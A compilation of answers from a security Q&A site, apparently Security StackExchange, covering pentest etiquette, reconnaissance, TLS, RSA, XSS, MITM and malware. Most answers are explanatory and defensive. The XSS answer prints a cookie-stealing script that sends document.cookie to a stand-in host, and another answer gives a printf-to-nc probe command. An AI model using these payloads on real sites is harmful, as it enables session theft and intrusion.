What do I do if I catch someone doing a physical pentest?

Start by releasing him from those handcuffs. If the permission to attack slip did truly checkout, then John is not a criminal. He is simply a poor guy hired by your company trying to do his job, and has now found himself handcuffed to a chair. As such, I have my doubts he would try to run or attack anyone, so it should be safe to release him.

As mentioned in the comments, John's cover is blown. Unless the rules of engagement state that he should continue with his pentest, there is nothing left for him to do there. I would escort him out of the building instead of asking him politely to leave, as trusting him to leave the premises seems like a poor security control and this is a test of your organization's security, after all.

The fact that he was caught is a good sign. Even though he was able to enter the server room, the organization's security has held up well in this instance by stopping John from planting what is probably a backdoor device. So if anyone finds themselves here, good job. After this incident, I would get things worked out on how fix this lapse of information in the future. I would think the person on the PtA form should know what to do, given that he is listed on the PtA form, and as schroeder mentioned, this should have also been covered in the preliminary engagement meeting for those who were in attendance. Someone should know the answer to this question, and it should be straightforward to contact them. If it isn't, I would get in contact with the head of security and ask them this same question.


How to identify a company's public network address range?

This relies on some factors. When its a big company and they own complete subnets these information are stored within the whois record. You can either use commercial tools which allow you to search a dump of whois records for the company or lookup all public available hostnames of that company. You would normally start with the address of the web, mail and dns server(s).

When it comes to small or middle sized companies there are in most cases only single hosts that are public accessable. In most cases this addresses and servers are rented or even shared hosting addresses. You can easily figure this out by performing reverse lookups of that address.

To find more hosts assigned to a domain you can download the latest dns dump from censys.io (formerly available on scans.io) and then grep it for the domain to find subdomains. You can then also perform a dns "bruteforce" by prepending commonly used hostnames to the targeted domainname. This can be done with dnsrecon for example.

Also there are situations where a subnet is assigned to the hosting company but the range contains more then one website of that company anyway. To find websites of that company in a ip range you can use a tool like EyeWittness which will create screenshots of every website in that range. To be said: This will not work with virtual hosts when you use the ip address of that webserver as an address.


Would it be possible to add additional files to a password protected zip 2.0 file

Generally speaking, you are right: given the keys 0, 1 and 2, it is possible to produce the encrypted form of any other file for the same password, even if the said password is not known. If you follow this road, you will probably be interested in Info-ZIP, a clean opensource reimplementation of the PKZIP format.

Alternatively, you may want to recover the actual password, or an equivalent password (which yields the same keys 0, 1 and 2). For that, consider the attack described in this paper, especially section 3.6. This is the attack that is implemented by the tools that you talk about; from keys 0-2, the password, or at least a matching password, can be rebuilt with (much) less cost than exhaustive search. If you obtain such a password, then you will be able to use standard Zip tools to manipulate your archives, which may avoid a lot of trouble.


Telegram messages in group are seen immediately

I think your group is in fact a so-called Super Group. Super Groups work a little differently than normal groups and the one-check/two-check system doesn't apply here. All messages get double checks instantly when received by the server. (That's a feature.)

The creator of your original group has clicked the 'upgrade to supergroup' button at some point, causing your group to upgrade. You cannot undo this upgrade, so if you want to go back to a normal group, you'll have to create a new one.

I'm guessing it has something to do with the original intend of Super Groups being aimed at large communities. These Super Groups were originally introduced for groups larger than 200 people, but since then the group and Super Group limits have been increased to 5000 members and upgrading to Super Groups is unlocked for Groups of any size.

Here is the original release blog post: https://telegram.org/blog/supergroups


Sending a executable that use LD_PRELOAD to modify fopen and create a backdoor

Can't a firewall protect the user from this?

Yes, If a firewall/IDS is installed it will probably block your backdoor, since most firewalls block suspicious inbound connections. That's why most of the times instead of a bind shell, a reverse shell is used instead. But again a firewall may be blocking outbound connections too, so it will fail also.

Now, if a firewall is not installed, a bind shell will probably fail again, because of NAT. If the target isn't directly exposed to the internet and hasn't forwarded this specific port you won't be able to connect, but it would work if you were in the same network with the target (and no firewall/IDS was installed).


Can a hotspot in Ubuntu validate wrong passwords also?

No you cannot. Ubuntu hotspot uses WPA2-PSK with a pre-shared key (not a password).

Pre in pre-shared means both parties must be supplied with the same key before connection takes place; both parties need to use the same key to be able to communicate with each other.

If "the password entered is wrong" (i.e. different than you know), it means you will not be able to decrypt the communication from the client.


The short answer is that nobody knows how to compute the inverse RSA (the "decryption") without knowing the prime factors of the modulus N; and nobody knows how to efficiently recover these prime factors from N alone. The private key, then, is knowledge of the prime factors: whoever generated the key pair produced the factors first, then multiplied them together to get N.

Knowing N (the public key) does not allow decryption; that's the whole point of the public key being, yeah, public: revealing it does not give away decryption power.

The long answer, when we get down to it, is: we don't know. There is no positive reason which explains why RSA decryption is hard without knowing the private key. We have no mathematical proof that factoring N is a real prerequisite for RSA decryption; it is just that we don't know how to decrypt RSA without knowing the prime factors (either a priori, or easily obtained from the private key). We have no proof either that factoring is hard; but 2500 years of research have not come up with a really efficient factoring algorithm.


Google account 2FA only with HW security key?

You can configure your Google Account to use TOTP and install the Yubico Authenticator App either on your Phone or additionally on your PC

Its like using the Gooogle Authenticator but the secret is not stored on your phone but on the Yubikey. So if your phone is stolen they still need the Yubikey to enter your account.

You can use this combination for every Website that supports 2FA with TOTP.

But to do this, your need the Yubikey Neo and an phone which supports NFC.


Unable to get correct base for cracking Crypt3 SHA-512 on Linux with Python

Based on information in this question, I was able to successfully reproduce a hash.

After setting my password to password, I executed these commands

$ sudo grep neil /etc/shadow
neil:$6$GpNiWKnm$aToSshPrg45wXFuP/Hmkkpf8/GUYg0d/C4eU/BH7iG2QwM.C59NIVr/izGUGXzf7HjqQNmpFXhxtIxGtXNrmj0:16793:0:99999:7:::
$ python -c 'import crypt; print crypt.crypt("password", "$6$GpNiWKnm$")'
$6$GpNiWKnm$aToSshPrg45wXFuP/Hmkkpf8/GUYg0d/C4eU/BH7iG2QwM.C59NIVr/izGUGXzf7HjqQNmpFXhxtIxGtXNrmj0
$ python --version
Python 2.7.10

It should be noted that the hash algorithm that is in use can be determined by the value between the first pair of dollar signs. In this case the $6$ means it's sha-512 (reference).


Mystery link containing fragment identifier in malicious email

I have an idea. It boils down to "they goofed". Let me lay out my reasoning first, though:

%23 is percent-encoding. It's how you encode special characters in a URL. The format is a percent sign, followed by the hex value of the byte being encoded. You'll also see it frequently with parens (%28/%29), spaces (%20), and equals signs (%3D).
So %23 = whatever codepoint 0x23 is, aka #.
So their URL is equivalent to ##email##, once URL decoded.
##email## isn't very likely to appear in random text, so it'd make a good template string.
A lot of things -- email clients, browsers, Markdown parsers, whatever -- will try to automatically correct broken URLs. For example, adding https:// in front, and url-encoding characters to avoid ambiguity.

So based on that reasoning, here's what I think happened:

They had some mass-market phishing email template, ready to be blasted out to millions of potential suckers.
As part of that, they had a placeholder for the phishing URL, to be replaced when the email is sent out.
Either:

They use something like Markdown, which is rendered to HTML, and then do their template replacement. The rendering engine they use autocorrects URLs, so ##email## got changed, and therefore didn't get replaced by a naive search-and-replace.
They just plumb forgot to do the replacement, and something between them sending and you receiving (maybe even your email server) replaced the extra #s with %23. If you're looking at the source in the Inspect pane of a browser, it's likely that your browser is 'correcting' the URL, to show where it's been interpreted as pointing to.

In short: They're probably not trying some complex exploit. They did their spam wrong. Barring something extremely weird in your browser, you should be fine.

Still definitely get that employee retrained, though. This time, they got lucky. Next time, they might not.


Is it possible to see the history of SSL handshakes going out of OWASP ZAP proxy?

The TLSDebug add-on might help you.

https://www.zaproxy.org/docs/desktop/addons/tls-debug/

Get it via the marketplace:

If you're running ZAP on a system where you can do packet capture then you can see the TLS (or SSL if you're still using it .... in 2020 you shouldn't.), behavior and details on both sides of the proxy. You can inspect such interactions with a tool like Wireshark - https://www.wireshark.org/.

Also in most modern browsers you can inspect the TLS/SSL details between the client and proxy (or server when not using a proxy) with fairly simple built-in functionality. Just do a quick web search for your preferred browser and 'TLS connection details' or 'certificate details', etc


Compromised server name and port number of a SQL Server DB Server

Sounds to me, that what was leaked is only information obtainable by a simple nmap scan.

If the security of your system depended on that staying private, you might have an issue in you approach anyways.

As long as the credentials were not leaked and your db server has good access control rules, I wouldn't worry.

I mean, think about it: if the db should be tapped by different services inside your company, then the "leaked" info is not secret anyways. If the db is used only by specific services, then access to it should be explicitly limited to those whitelisted IPs or subnets.


Is it possible to obtain the login credentials submitted by users?

If user B is in same network, so he can use ARP poisoning for capturing the data that transfer from user A to the server. This type of attack called MITM ( man in the middle) attack.
But if user B  is not in the same network, the only way is that installs a backdoor or trojan on the computer of A.

Anothe way is that before that user A open web browser, user B change the dns setting of router that user A use it, and put malicious DNS in order to run DNS-based pharming attack.


Potential HTTP Host header attack from malicious IP, what does it mean in practical terms for me? Should I be concerned?

Should I be concerned?

Not particularly.  You're being scanned by a known non-malicious party called
Shadowserver.  They're very open about their activities and intent.

Bear in mind that on the Internet you're going to get scanned.  A lot.  By many people who are outright malicious.  While some may have legitimate concerns about 'scan vigilantes' like Shadowserver, Shadowserver is certainly more benign than a lot of other traffic you can expect to receive.

  What is going on here in concrete terms?

They are connecting to your web server and sending a request using an invalid Host: header - one that doesn't match your actual site, but actually matches their IP.  There are a variety of ways the host header can be abused; Shadowserver is looking for vulnerable IPs.  Given their mission statement, they're probably looking for web servers that can be tricked into sending or redirecting traffic to [the IP they used in the Host: header], which would indicate that those web servers can be abused in an amplification attack.

The fact that your server reports Invalid HTTP_HOST header leads me to believe it correctly rejects connections which don't contain a valid Host: header for your site.  Good job.


How can I see if SSL Certificate is Business SSL?

The issuer flags EV certificates with an entry in the Certificate Policies extension field.


Can an SSH server fingerprint be spoofed?

No, this is not possible.  Depending on the key exchange mechanism in use, there are (slightly) different mechanisms for proving the identity of the server.  This is defined in RFC4253 where it requires "explicit server authentication."  In the case of RSA (RFC 4432), the server signs a piece of data provided by the client (actually a hash of several pieces) with its private key and sends it back to the client.  This signature proves that the server is in possession of the private key.  Without this, there would be no protection at all against MITM attacks on SSH.


If you have no liability for what the users do with the laptop, then what is the benefit to you of monitoring the usage. In the absence of any legitimate benefit, that would leave anyone questioning your motives in doing so - so you would create liability by doing this.

There are a lot of other security concerns you should be concerned about - primarily ensuring that you shred the hard disk on return and reinstall (which is a lot simpler if you use imaging). There are also tools which will help you recover a stolen laptop.

Spying on your users is downright dangerous.


Protecting Android debug bridge that is connected to the internet

You basically have a powerful debug service without authentication listening on TCP port exposed to the internet.

Don't expose it to internet

Do not just put it on the internet. Put it behind a firewall (I guess just plain home router NAT would also count) and set up VPN (or ssh tunnel or similar) so only authorised people can connect.

Put it behind a firewall

Above option is preferred, but this might be acceptable to you as well (but is vulnerable to man-in-the-middle attacks).

a) Configure firewall to only allow connections from specific IPs

b) Use port knocking


RSA or ECDHE for x.509 certificates-what does each do?

The public/private keys are (fairly) static and are normally 2048 bits or even 4096 bits - they are used early in the TLS negotiation, to verify the site's identity (and the client's, in the case of a client certificate) and to negotiate using asymmetric encryption a new key that will be a) shared between the client and server, b) unique to this connection and c) symmetric.  This is the key that is actually exchanged and is shorter and what is used for actual transport.

Asymmetric encryption is (relatively) slow - that's why the session is actually encrypted with symmetric encryption.


In that field where you see the "strange code" is where you see the HTTP request that was made to the server, for example "GET / HTTP/1.1".

That log line means that someone connected to your server and send that "strange code" instead of a normal HTTP request, it could be a exploit for your current server or trying to exploit the shellshock bug.

A good thing to do now is try to check if there are some known bugs for your current Apache version, and test your system agains shellshock exploit.

How to reproduce it: printf "\x1b\x95J\xe2h\xa7\xcfj\xe1`\x85R\x1f\x98\x9e\xcf\xdedFM(\xa8\xbcc\xc0P\xd9::e\xed\xaa~L\x88\x19\xca \xbfs\x7f " | nc -n -i 1 www.website.com 80
How to get the converted code: printf "\x1b\x95J\xe2h\xa7\xcfj\xe1`\x85R\x1f\x98\x9e\xcf\xdedFM(\xa8\xbcc\xc0P\xd9::e\xed\xaa~L\x88\x19\xca \xbfs\x7f "


Time needed to generate an RSA signature of a document

Generally, with a digital signature for an asymmetric key (such as RSA) - the signature is created over the hash (SHA-1).  The hash creates a fixed size data block (SHA-1 - 160 bits) which is the input to the asymmetric encryption function.

Hash functions - by and large - are created to execute quite quickly. By quickly, it's generally linearly proportional to the size of the input.  Chances are fairly good that on an average computer, with a decently written API for your hash function, you will have trouble seeing a big difference without a dramatic change in file size.  Hash functions are built for efficiency, and hash library makers do a decent job of keeping these optimized for the operating system and CPU.  My suspicision (with the test set sizes unknown) is that you have a calibration problem - CrypTool is unlikely to be able to measure the variations in time to proccess the input because the delta between "fast" and "slow" is too minor to be measurable.

Your RSA key pair size WILL NOT change - to change the size of your key pair, you have to generate a new key and identify that new key pair as the input to the signature.  Here's a nice paper on how bigger RSA key sizes will impact signature generation and verification.

No matter what the size of your RSA signature key is, the input length of the data will be 160b due to the fact that you are using SHA-1 to hash the data before sending it for signature.  So once a key pair is determined, if you are measuring only the execution of the RSA algorithn, you won't see any difference in processing time (unless it's also affected by other operations occuring on your system) due to differences in the input data to be signed.


Purpose and Uses of Root SSL Certificates

A root SSL certificate is one that is used by a certification authority to sign other certificates -- either end-user certificates or chain certificates that are then used to sign end-user certificates. Their use case is to be distributed to users by secure channels so that they can be safely used to validate other certificates. For example, dozens of root certificates from certification authorities are included in all web browsers.

If you want one of your own, you can create it using openssl. You would then use it to set up your own certification authority, but since your root wouldn't be included in the user's web browser, you'd have to create some other secure delivery channel for it.


How could this SSO implementation possibly work without browser cookies?

Probably your web applications and/or your corporate SSO was setup to use SPNEGO authentication, which is most times used with Kerberos. It then uses your Kerberos ticket granting ticket (TGT) you obtained during Windows logon to get service tickets for authenticating to a "kerberized" service.

In the Windows browser configuration there are options IIRC called "Integrated Authentication".

There's also a tool called kerbtray.exe which displays current content of your Windows session's ticket cache. If SPNEGO/Kerberos is used you will find service tickets for service principal names like HTTP/app.example.com@REALM.EXAMPLE.COM or similar.


How can a system enforce a minimum number of changed characters in passwords, without storing or processing old passwords in cleartext?

I'm not sure about comparing with all the passwords the user has previously used, as it really depends on the hashing system your using and I would say if its possible to derive any similarity from the hash then its not a very good system to begin with.

But assuming that the user has to supply their current password when setting their new password, you could at least check the new one against the current one as you'll have both as unhashed at that point.

The pam_cracklib module on Linux checks passwords like this and does a few basic checks by default.

Is the new password just the old password with the letters reversed ("password" vs. "drowssap") or rotated ("password" vs. "asswordp")?
Does the new password only differ from the old one due to change of case ("password" vs. "Password")?
Are at least some minimum number of characters in the new password not present in the old password? This is where the "difok" parameter comes into play.

You can find some more details about it here.


How does ransomware work without admin privileges?

It doesn't have to access ALL files in order to cause damage.  It only has to encrypt files that the user created and cares about - family photographs, word documents, etc.  The more of the user's files are locked, the worse the damage to the user, and the more likely they'll pay the ransom.

The user account already has all the privilege needed to access his own files.


Check if a password for encrypted ms office document is correct

MS Office documents are encrypted with the plain text password. But they use the hash of the plain text password to verify if it will work first though. If the user supplied password goes through the hashing process and matches it's stored hash then it will decrypt the file with the supplied password.

Additionally the hash is not a direct hash of the key. In Office 2007 it hashes the password 50,000 times and in Office 2010 it hashes it 100,000 times. Both using SHA-1. This is to fight off tools that brute forced hashes for earlier versions. Office 2013 uses the same strategy but uses SHA-512 by default.

So if you know the hash method and the Office version you can write a script that turns a plain text password into a compatible hash to compare to the MS document's hash. If your script compares them as equal then you can verify it is the correct password.


Let's start first by the three types of XSS
Reflected XSS, where the malicious script comes from the current HTTP request.
Stored XSS, where the malicious script comes from the website's database.
DOM-based XSS, where the vulnerability exists in client-side code rather than server-side code.
Cookie Theft
Shopping preferences might not classify as sensitive information about an individual but online shopping carts and banking details are really sensitive data and all of this is also remembered by a site with the help of session cookies. If an attacker manages to get a hold of your session cookies then that person will be able to pose as you and that site and will have access to your banking details and your amazon shopping cart and might order stuff from your amazon account to his/her address spending all your money. This generally happens when the site has a vulnerability and the attacker uses something known as cross-site scripting (XSS) to exploit that vulnerability. This is found mostly in badly-coded websites where the developer forgets to include certain security measures to prevent an attacker from running a cross-site script.
How attacker use XSS to steal cookies?
I’m going to explain this with a hypothetical scenario. So lets say we visit one such vulnerable site which has a comments section on it. Now on an ideal, secure website a comment section should only have text in plain English but on an unsecure site, if we post a code in the comment section the site would think that it is some code from the server side and it is supposed to run that code
    <script>
document.write('<img src="http://localhost/submitcookie.php? cookie ='
+ escape(document.cookie) + '" />);

This code when posted in the comments section will tick the browser
into thinking that it is Javascript code(due to the scripts tags)
sent by the server and will make it run it.
When some user visiting the site looks at the comment section he/she
will see a link to an image in the comments section which is actually
the result of the script running.
When a user clicks on this link thinking that it is an image (whereas
it actually is a php file) they get an image rendered in the comment
section.

So to get back to your question, What the visitors of the website  don’t know is that this link silently executed a php file which grabs their cookie.
Now, the cookie which has that users session ID is saved in the attackers database and the attacker can pose as that user on that site.
So if you didn't take enough measures to protect your website from XSS attack, then Indeed your users will vulnerable subjects for the attacker


Wi-fi Certificate Permission and Access to phone/data

No, you're simply installing a certificate that serves to bolster the legitimacy of the RADIUS server you're authenticating with (and encrypt LAN connections).
If you're talking about SSL decryption, of the kind done in your average corporate network, no. By accepting their certificate, you're not accepting a certificate authority-- you're simply accepting that the certificate will be used to encrypt connections between you and the router. Unless you're using a VPN service or encrypted DNS, they would be able to see the hostnames you're visiting, but nothing more.
The security of a VPN service shouldn't be impacted by this at all. Again, you're not accepting any sort of certificate authority. That certificate can't be used for anything other than encrypting the connection between you and the router. OpenVPN profiles and such come with their own certificates, anwyay, if I recall correctly (tell me if I'm wrong here).


The password in SRP is actually a shared secret of (possibly) low entropy. It can be the "password" as the human user understands it, or anything that is deterministically derived from the password. In your case, yes, using a password hashing function such as PBKDF2 is a valid approach. It has the following caveats:

PBKDF2, like bcrypt and other good password hashing functions, requires a salt. The salt is very important. Without the salt, the attacker could optimize attacks to a large extent; namely, he would have to pay for the PBKDF2 step for only one user (if he has several stored hashes for several users to crack). The point here is that the client and the server must use the same salt for a given user, so the client must know that salt somehow. But the salt must still be specific to each user (and changed whenever the user changes his password as well), so you cannot simply hardcode it in the client code.

So you need to store the per-user salt on the server, and to convey it to the client as an initial authentication step. In SRP, the client first sends a message containing the user name (I) and a value that does not depend on the password (A). The server responds with the user-specific salt (s) and another message (B). You should send also in that server-to-client message the extra salt needed for PBKDF2.

Alternatively, you may replace the hashing step in SRP with PBKDF2, but this involves modifying the protocol and the implementation libraries, which is probably not a good idea. It is simpler and altogether safer to add an extra PBKDF2 step.

It is tempting to reuse the same salt as the one specified by SRP (the one called s in the protocol specification). Though this seems cryptographically safe here (the two salt usages being somewhat "separate" with all the PBKDF2 between them), this sort of things is known to be a matter of subtlety, and, there again, having an extra, independent salt is the safe, cautious method.
PBKDF2 employs many iterations in order to slow down attackers. But it slows down normal users as well, so you cannot crank up the iteration count as high as you wish. You should set up as high as you can tolerate, given the load and computational power of the involved computers, and the limits of the user's patience.

In the case of integration with SRP, as with any other PAKE protocol, the brunt cost of password hashing is on the client side. So the appropriate iteration count depends on the client computer. If you have multiple clients then you must adjust to the least powerful computer that is still supposed to be able to connect. This point is especially crucial to Web-based client, with JavaScript, because JavaScript is very feeble for raw computations, severely limiting the number of iterations that you can tolerate. In your case, the client's code uses a C library, so you can have some client-side muscle, but since you are working with an "older game", you must consider that the client may be an "older machine", possibly an "elder machine". There are some perverts out there that still nurse some i486 computers.
You may consider using bcrypt instead of PBKDF2; bcrypt is arguably stronger against attackers with GPU.


Since when does a browser have to get permission to display a web page a particular way?

I think this is a case where the website (server) and the web browser have a shared goal: to keep you safe.
Let's take a few unrelated examples of servers telling the browser how it's allowed to use the content that was served.
Content-Type
Let's say an API returns this in the HTTP body:
[
  {"keyA1":"valA", "keyB1":"valB"}
 ,{"keyA2":"valA", "keyB2":"valB"}
 ,{"keyA3":"valA", "keyB3":"valB"}
]

It turns out that this particular bit of data is both valid json and valid javascript. The browser has no way to tell what was intended unless it's given a hint. Historically this lead to security issues because attackers could bypass Same-Origin Policy by pointing a <script> tag at a json API that returned an array like that, the browser would happily execute that as javascript, thereby letting the attacker read the data.
This is a case where the server can give the browser some hints about how to currently use the response by setting the Content-Type: header to either
Content-Type: text/javascript

or
Content-Type: application/json

Is that a case of the server ordering the browser to do something? I suppose the browser could decide to ignore a Content-Type: application/json header and execute it as javascript, but why would it? Technically the user (more specifically a web page that the user loaded) asked the browser to do that, but it's almost certainly an attack and goes against the browser's goal of keeping you safe.

Cookies
Similar to the above, in a response from the server, it can push a cookie and flag it as HttpOnly. From the Mozilla docs:
Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly

That flag basically means "Hello browser, please automatically staple this cookie onto any subsequent HTTP requests back to me, but do not allow javascript to read the cookie value". (the end-user can still view the value through browser dev tools)
Is that a case of the server ordering the browser to do something? I suppose the browser could ignore the HttpOnly flag, but the server is telling the browser that there is no legitimate (ie non-attack) reason to do so, so that goes against the browser's goal of keeping you safe.

Frame-ancestors
So now to your actual question.

"Websites can use x-frame options or a content security policy to control if other websites may embed them on their own pages."

Or the newer version of this, the frame-ancestors directive of the Content-Security-Policy header. The server is telling the browser under which circumstances it is legitimate behaviour to render this page inside a frame. As you say, if the browser fails to respect this, it could result in security issues for the end user, or security issues for the web site, or both. The browser wants to keep you secure, so it's in everybody's best interest for the browser to honour the web site's request. (Well, I guess it's not in the attacker's best interest, but we don't care about them).


It depends on the usage. Since you've posted the certificate we can  see it's a self signed certificate with the corresponding private key, valid to  Nov 4 12:39:28 2018 GMT. You probably extracted it from the Candy Crush game.

Most possibly it's worthless (you can generate any number of certs like this), unless it is used for something interesting online.
If this pair is used for anything, somebody made a mistake. Unless Perfect Forward Secrecy was used in the communication, we don't even need MiTM since we have the private key now. We can decrypt all messages directly (provided we can capture the data of course). Moreover, we could fool the clients with our own server version and do what we want. We have to reverse engineer the software and/or the protocol though.

There is a slight chance it is a uniquely generated pair for your app instance, which is used for identify you at the server. That case attackers now can fake your identity in the Candy Crush game since you have published your private key. I don't think it is the case though, because the Subject field doesn't seems to be unique.

Regarding to your last question, yes it is certainly possible to deploy pem files with the app, since pem is a container format, it doesn't necessarily contain the private key (while the one you posted does). Distributing certificates is perfectly valid, most of the browsers do it.


Which SSL/TLS ciphers can be considered secure?

The cipher suites with a "NULL" do not offer data encryption, only integrity check. This means "not secure" for most usages.

The cipher suites with "EXPORT" are, by design, weak. They are encrypted, but only with keys small enough to be cracked with even amateur hardware (say, a basic home PC -- symmetric encryption relying on 40-bit keys). These suites were defined to comply with the US export rules on cryptographic systems, rules which were quite strict before 2000. Nowadays, these restrictions have been lifted and there is little point in supporting the "EXPORT" cipher suites.

The cipher suites with "DES" (not "3DES") rely for symmetric encryption on DES, an old block cipher which uses a 56-bit key (technically, it uses a 64-bit key, but it ignores 8 of those bits, so the effective key size is 56 bits). A 56-bit key is crackable, albeit not in five minutes with a PC. Deep crack was a special-purpose machine built in 1998 for about 250,000 $, and could crack a 56-bit DES key within 4.5 days on average. Technology has progressed, and this can be reproduced with a few dozens FPGA. Still not off-the-shelf-at-Walmart hardware, but affordable by many individuals.

All other cipher suites supported by OpenSSL are non-weak; if you have a problem with them, it will not be due to a cryptographic weakness in the algorithms themselves. You may want to avoid cipher suites which feature "MD5", not because of an actual known weakness, but for public relations. MD5, as a hash function, is "broken" because we can efficiently find many collisions for that function. This is not a problem for MD5 as it is used in SSL; yet, that's enough for MD5 to have a bad reputation, and you are better avoiding it.

Note that the cipher suite does not enforce anything on the size of the server key (the public key in the server certificate), which must be large enough to provide adequate robustness (for RSA or DSS, go for 1024 bits at least, 1536 bits being better -- but do not push it too much, because computational overhead raises sharply with key size).

NIST, a US federal organization which is as accepted and well-known as any security organization can possibly be, has published some recommendations (see especially the tables on pages 22 and 23); this is from 2005 but still valid today. Note that NIST operates on an "approved / not approved" basis: they do not claim in any way that algorithms which are "not approved" are weak in any way; only that they, as an organization, do not vouch for them.


This is called federated authentication.  In the enterprise world, this is often accomplished with Kerberos (for non-web based systems) or SAML (for web-based systems.)

In the non-enterprise world, far and away the most popular federation framework is OAuth 2.0.  There is an extension to OAuth 2 called OpenID Connect (much different from the older OpenID Authentication protocol) that is specifically geared at authentication and profile sharing.


How do browsers import password data from other browsers?

What is stopping a malicious program getting my passwords from Google Chrome, possibly decrypting them by asking me to input my Windows password for another fake purpose, and secretly uploading them somewhere else?

Nothing.

On Windows, a program running under your account can access anything that belongs to you. The defense is "don't run malicious programs". This is particularly common in desktop OS's; mobile ones are much better in this regard.


Link(s) between subnet mask, IP address and subnet ID

You have take each address, and calculate it's subnet ID (network address) using the subnet mask. If two hosts have the same subnet ID (network address), they can communicate between each other without the use of an router.

You can do this using a subnet calculator like this one:
http://www.subnet-calculator.com/subnet.php?net_class=A

Or you can do it manually as explained in this post:
https://stackoverflow.com/questions/12918644/calculating-range-of-ips-from-subnet-mask


How to stop the "mitmf" tool on my home network?

The type of attacks you can suffer from depends to what your flatmate has access.

Understanding the attack

There are a couple of ways that your flatmate could have pulled this attack and understanding them will help you to understand how to protect yourself.

Google usually use https for its pages. This usually means that your flatmate can't do MitM attack on your communication with google and if they do your browser will give you a big scary warning warn you that your communication was tampered.

The first way to counter the https protection is to remove the https by redirecting to http. We call this attack ssl stripping. By doing that, he can now modify anything on the page and your browser will not give you any warning, except that the address will be in http instead of https.

The second way to counter https is to counter https is to install a CA certificate on your computer. Your browser is able to warn you when someone
tamper with a secure connection because of the CA certificates. If your flatmate, is able to access your computer and install CA certificates, he
can tamper any and every of your connections and your browser won't give you any warning. The address will even be in https. You can sometimes
detect this type of attack by looking at the certificate that is encrypting the current connection. Right click on the padlock in the address bar
and look for the certificate information. If you are on google.com but the certificate is issued by "flatmate", then you have a problem.

Also, with physical access his possibility are limitless. For example, the easiest way for me to do this attack would be to install a custom made browser extension on your computer.

Restrict his physical access

You need to restrict the physical access of your flatmate to your computer. If you can lock your door, do it. Then you need to make sure
your computer is protected with a good password. It's the first step.

In the previous section, I talked how your flatmate could install CA certificate if he had access to your computer but this is just the tip of the
iceberg. If he has physical acccess, he can install any type of malicious software.

Your system might already be compromised

There are good chances that he installed something on your computer. In this case, you need to do a fresh install. Antivirus won't help you here.

The router / modem is compromised

You can probably assume that he has complete control over the router/modem. This means that anything that you access from the internet need to be
encrypted or he can tamper it. Using extension like httpseverywhere can help or you could also use a secure VPN.


How does Medium know my Google searches?

In Medium's Privacy Policy Effective Date: 31 Dec 2019, Medium tracks quite a bit of information

such as what pages you view (including how much of a given page and for how long)
your use of product features (like Save to Medium, highlights, follows, and applause)

Most importantly the part where you are concerned with. It is possible that you linked Google with Medium!

  When you create your Medium account, and authenticate with a third-party service (like Twitter, Facebook, Apple or Google) we may collect, store, and periodically update information associated with that third-party account

Under Tracking & Cookies,

  Some third-party services that we use to provide the Service, such as Google Analytics, may place their own cookies in your browser.


Is inserting url parameters directly into the page safe in angular 2+?

As stated on angular's security page, interpolated content is always escaped. Unless the application explicitly marks the content as trusted using the DomSanitizer or there is a vulnerability in angular, there is no way for an attacker to exploit this.


How can I view images in forwarded packets on (current) Mac OS X?

mitmproxy (http://mitmproxy.org) is a free tool for man-in-the-middling HTTP traffic and can accomplish this in a few ways.

The most straightforward and easy to demonstrate would be to use the web interface (mitmweb) which would allow you to click on individual image requests and see the image in your browser.

Since you're using your host as a router, you'll want to enable packet forwarding in OS X and enable transparent mode in mitmweb (-T) and do some pfctl magic to forward the HTTP traffic to the port mitmproxy is running on.

http://mitmproxy.org/doc/transparent/osx.html


May I have into account security concerns when considering to send emails massively (>100,000)?

Mail receivers often track sender spam reputation per IP address. If you use a third-party provider to send the emails, then it is their IP which will take the reputation hit not yours. This is important to understand, as you don't want your all-important company Email Server to be on the same IP that sends a questionable quantity of emails.

Make sure that your email server is properly configured with a correct rDNS entry set up by your ISP. Also you should keep proper SPF records up to date.

You should throttle your emails. Sending them 'as fast as possible' will surely get you banned. It is much safer to spread them out with a delay between emails.

It is likely that your email traffic will have to go up gradually, or perhaps you will have to fill out unblock requests from the big carriers (Microsoft, AT&T, etc) as they will not take kindly to the huge spike in traffic (assuming this IP sends only minimal traffic prior to this)

You can also list an official unsubscribe feature, so that the mail client (i.e. Gmail) can provide a simple Unsubscribe quick link.

If you send enough email from your domain, Gmail will provide you with reporting on how well your emails fair.

There must be some canonical answer to how to properly format emails to avoid spam marks, but I'm not sure where it is.


Linux: Can unprivileged users tamper with processes running under their own identity?

If you start a process as yourself and you can't trust that other process, then yes, all your processes are vulnerable.
Root can generally access everything unless you have LinuxSE in which case root is not allowed to access other user's processes (at least by default), it can still see that they are running and send signals, though.
If you want to start another process in a more secure way, you have to

fork()
start a process that can change to that other user (i.e. suid bit set)
change to that other user
start the possibly non-secure process as that other user

systemd does a lot of that with services. Many services run as a user that's not root. In some cases, though, it starts as root (apache2) and change to another user later (www-data under Ubuntu) so the processes actually dealing with client connections are not running as root. But root is required to open port 80 and 443 (below 1024).
Actually systemd also has an option that defines how many child processes your service can start. It can be set to 0 in which case a simple system() call will fail every time (very strange when you don't know that the OS is capable of controlling that!) So there is definitely a potential security issue in starting any other process you're not 100% in control of. At the same time, this is very much the Unix way.
Another solution is to run everything in a docker so at least the main server can't be attacked directly. Your docker may get hacked, but you can always re-install and restart quickly (and work on a fix to prevent the hack from happening again, after you blocked that IP address in iptables).


Is it possible that my home router is preventing my ARP poisoning attack?

Yes.  See this question related to the same subject but confused about the very feature you are questioning.  Is that possible? A router with arpspoof from factory


Will removing the harddrive from a computer protect it from persistent malware?

Assuming that it's a CD/DVD Knoppix, and not a USB based one, you're basically running a computer with no writable storage at all, so yes, of course it will reduce the risk of persistent malware infection.

At the same time, you cannot update your system [permanently], so you would be somewhat easier to infect than using an up-to-date system.

To counter that, you could 'extend' your boot procedure to include securely updating everything on each bootup (and that would still miss kernel updates), which may take a while. Also, if you never rebooted your system, not having a hard disk would be irrelevant, since it would be enough to infect the current session.

Please note that this setup is not completely risk free. An attacker could place a malicious code providing the persistence in one the devices' firmware (the BIOS password is not helpful here, since that would only deter physical attacks).

Finally, remember that you might have a 'persistent infection' on a diskless machine by periodic reinfection. Suppose we have a setup with multiple diskless machines that boot from a clean state and within 5 minutes have all patches applied (since otherwise they would be vulnerable to eg. CVE-2008-4250). You may find out that you have all these computers infected, and that when you reboot one of them, their partners reinfect it before it manages to update itself.

Of course, if you are not building a kiosk, and expect to work with any kind of persistent data, an infection might be carried on usb sticks, mail attachments, etc. just as could happen to any machine with a hard disk.


